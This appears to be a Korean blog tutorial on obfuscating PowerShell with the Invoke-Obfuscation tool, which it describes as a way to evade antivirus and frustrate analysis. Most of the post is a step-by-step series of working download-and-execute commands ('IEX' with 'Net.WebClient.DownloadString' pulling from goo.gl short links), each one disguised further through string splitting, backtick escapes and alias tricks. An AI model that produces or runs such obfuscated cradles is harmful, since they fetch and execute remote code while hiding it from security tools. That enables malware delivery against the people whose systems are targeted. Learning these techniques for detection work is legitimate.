파워쉘(Powershell)로 가장 기본적인 Base64 인코딩 및 디코딩을 할 수 있다.


Get-Process를 스트링으로 받아 변수에 저장을 하고, 변수에 저장된 값을 Base64 인코딩하여 파워쉘로 실행한다. 또한, 인코딩된 값을 Base64 디코딩한다. 파워쉘에서 지원하는 가장 기본적인 인코딩 및 디코딩은 원본 코드를 쉽게 분석하는 단점이 있다.


Invoke-Obfuscation은 백신을 우회하거나 원본 코드를 분석하기 어렵게 만드려고 단일 난독화, 이중 난독화, 복합 난독화를 하고, 해제할 수 있는 파워쉘 난독화 도구이다.


자세히 설명되어 있으며 간략하게 난독화 하는 방법을 알아보자.

 

▶ Powershell Invoke-Obfuscation


파워쉘의 원본 명령어

○ Invoke-Expression : 로컬에서 명령어를 실행

○ DownloadString("") : 웹 사이트에서 스트링 형식으로 다운로드 받아 로컬에서 실행

○ Invoke-Expression (New-Object Net.WebClient).DownloadString("https://goo.gl/L19umg")



○ System.Net.WebClient에서 "System" 제거

○ Invoke-Expression (New-Object Net.WebClient).DownloadString("https://goo.gl/L19umg")


○ 웹 사이트 주소를 인식하지 못하도록 "+" 기호를 사용

○ "+" 기호는 문자열을 연결해주는 역할

○ Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp"+"s://goo.gl/L19umg")



○ DownloadString을 문자열로 인식하도록 더블 쿼터("") 기호를 사용

○ DownloadString은 명령어이지만 하나의 문자열

○ Invoke-Expression (New-Object Net.WebClient)."DownloadString"("ht"+"tp"+"s://goo.gl/L19umg")



○ DownloadString의 각 문자를 이스케이프 시퀀스 문자를 사용하고, 대소문자 변환

○ 각 문자 앞의 이스케이프 문자(`)를 붙이면 아무 의미 없는 문자로 인식

○ Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"("ht"+"tp"+"s://goo.gl/L19umg")



○ Net.Web.Client를 문자열로 인식하도록 "+" 기호를 사용

○ Invoke-Expression (New-Object ("Ne"+"t.W"+"e"+"bCl"+"ie"+"nt"))."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"("ht"+"tp"+"s://goo.gl/L19umg")



○ gcm : Get-Command의 알리아스

○ *w-o* : w로 시작하고 o로 끝나는 명령어는 New-Object

○ gcm *w-o* : Get-Command New-Object

○ .(gcm *w-o*) : .(Get-Command New-Object) 앞에 닷(.)을 명시하면 하나의 객체로 인식

○ Invoke-Expression (. (gcm *w-o*)("Ne"+"t.W"+"e"+"bCl"+"ie"+"nt"))."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"("ht"+"tp"+"s://goo.gl/JYuZjJ")



○ Invoke-Expression 변환 방법

○ IEX : Invoke-Expression의 알리아스

○ `I`E`X : 각 문자앞의 이스케이프 시퀀스 문자

○ . ("I"+"EX") : 닷(.)을 붙여 하나의 객체로 인식

`I`E`X(. (gcm *w-o*)("Ne"+"t.W"+"e"+"bCl"+"ie"+"nt"))."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"("ht"+"tp"+"s://goo.gl/JYuZjJ")



▶ Powershell 원격명령실행 (Remote Script)

▶ UAC(User Account Control) 우회 - PowerShell

▶ WMI 개념 (Windows Management Instrumentation)

  • 카카오톡-공유
  • 네이버-블로그-공유
  • 네이버-밴드-공유
  • 페이스북-공유
  • 트위터-공유
  • 카카오스토리-공유